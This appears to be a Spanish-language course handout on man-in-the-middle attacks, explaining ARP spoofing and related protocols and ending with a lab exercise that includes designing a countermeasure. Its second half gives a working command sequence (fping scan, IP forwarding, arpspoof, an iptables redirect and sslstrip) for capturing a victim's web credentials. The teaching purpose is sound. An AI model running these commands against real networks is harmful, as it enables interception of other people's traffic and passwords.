Man in the middle

El ataque Man in the middle,

traducido a espaol como El
hombre en el medio, es un
ataque PASIVO, que se lleva a
cabo tanto en redes LAN
como WLAN.

Ejemplo: hay 3 hosts dentro de una red, host A, host B, y host C.

El host A quiere intercambiar informacin con el host B (ste
host puede o no estar en la misma red), para ello, los paquetes
deben enviarse a travs del router que los dirige hacia B. Ahora,
si el host C tiene intencin de escuchar el mensaje que A enva
a B, slo tiene que adoptar un papel de puente entre A y el
router.

Al ser un ataque pasivo, la vctima no detectara

nada raro, de ah la dificultad de hacer frente a
un ataque de este tipo, como veremos algn
apartado ms adelante.
En definitiva, este ataque nos permite
monitorizar el trfico que deseemos de una red,
tanto de un host hacia el router, como del router
hacia un host.

Protocolos:
- TCP: Este protocolo est orientado a la conexin, permite
la multiplexacin mediante puertos (mapeo de puertos),
ms adelante veremos cmo se capturan paquetes TCP
cuando la vctima conecta con algn servidor. Tambin es
el encargado de fraccionar la informacin en datagramas
(paquetes) para su envo a travs del protocolo IP como
partes independientes (muy til cuando se producen fallos
en envos al reenviar slo el paquete que ha fallado).
- IP: Es utilizado por los protocolos de conexin (TCP) para
el envo y enrutamiento de los paquetes

DNS: Este protocolo se encarga de resolver nombres de

dominio en direcciones IP, es de gran ayuda ya que es
mucho ms fcil recordar el nombre de dominio de una
web, que su direccin IP.
- ARP: El protocolo ARP es de fundamental
entendimiento en este trabajo, ya que si no sabemos
cmo funciona no entenderemos este documento. En
una red con varios hosts conectados, cada uno con una
direccin IP y una direccin fsica (MAC), el protocolo
ARP se encarga de traducir la IP de un ordenador a su
direccin MAC, as, a la hora del envo de paquetes, un
host comprueba qu direccin MAC tiene la IP a la que
quiere enviarle la informacin.
- ICMP: Es el protocolo encargado de hacer labores de
control y error, es utilizado, por ejemplo, para
comprobar que un paquete llega a su destino. Cuando

Sniffer: Software diseado para monitorizar la actividad

de una red de computadores. Si lo utilizamos de forma
ilcita, podemos capturar informacin de tipo personal
(confidencial), y est estipulado como delito(Artculo
1.4 de la Ley Orgnica 15/1999 de proteccin de datos
de carcter personal).
- Modo promiscuo de una interface de red: Aquel en el
que una tarjeta de red captura todo el trfico que
circula por una red.
- Arp-spoofing: Ataque que modifica la tabla arp de un
host para hacer que resuelva una IP a una MAC que no
es la que le corresponde, el Arp-spoofing es lo que
hace posible el Man in the middle.

El software necesario es el
siguiente:
- Wireshark (antiguo Ethereal) : Sniffer
- Paquete Dsniff: coleccin de herramientas para auditora
y test de penetracin de redes.
- Arpspoof: Aplicacin del paquete Dsniff para hacer arpspoofing
- SSLstrip: Aplicacin que permite capturar contraseas en
pginas https.
- Libreras WinPCap (para Windows) y Libcap (para Linux):
Libreras necesarias para la monitorizacin de redes.

Ejemplo
1-ifconfig
Ejecutamos en la terminal:
sudo apt-get install fping
Y despus escaneamos los hosts guardndolos en un archivo
"fping -a -g ipInicial IpFinal hosts" Ejemplo:
fping -a -g 192.168.1.1 192.168.1.254 hosts
Para finalmente leer la lista de hosts:
cat hosts

saremos 3 terminales para ingresar los siguientes comandos:

Terminal 1:
Accedemos como Root o Super Usuario
sudo -sH
Activamos IP Forwarding
echo 1 /proc/sys/net/ipv4/ip_forward
Ejecutamos el comando arpspoof -i interfaz -t VictimaIP Servidor
arpspoof -i wlan0 -t 192.168.1.104 192.168.1.254

Terminal 2:
Redireccionamos el trafico http del puerto "80" al "8080"
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT
--to-ports 8080
Ejecutamos sslStrip indicandole "-w" que lo guarde en un archivo y "-l" que
escuche por el puerto 8080
sslstrip -w cap -l 8080

Terminal 3:
Finalmente el comando Tail para leer la informacin
tail -f cap

Prctica
Realizar un ataque man in the middle sobre un sitio local en un red local
con dos equipos (el atacante y la victima), se deber obtener como resultado
lo siguiente:
Los datos ingresados por el usuario en la aplicacin local que se tendrn que
visualizar en algn log de texto o con algn sniffer.
Crear una medida que solucione el ataque man in the middle.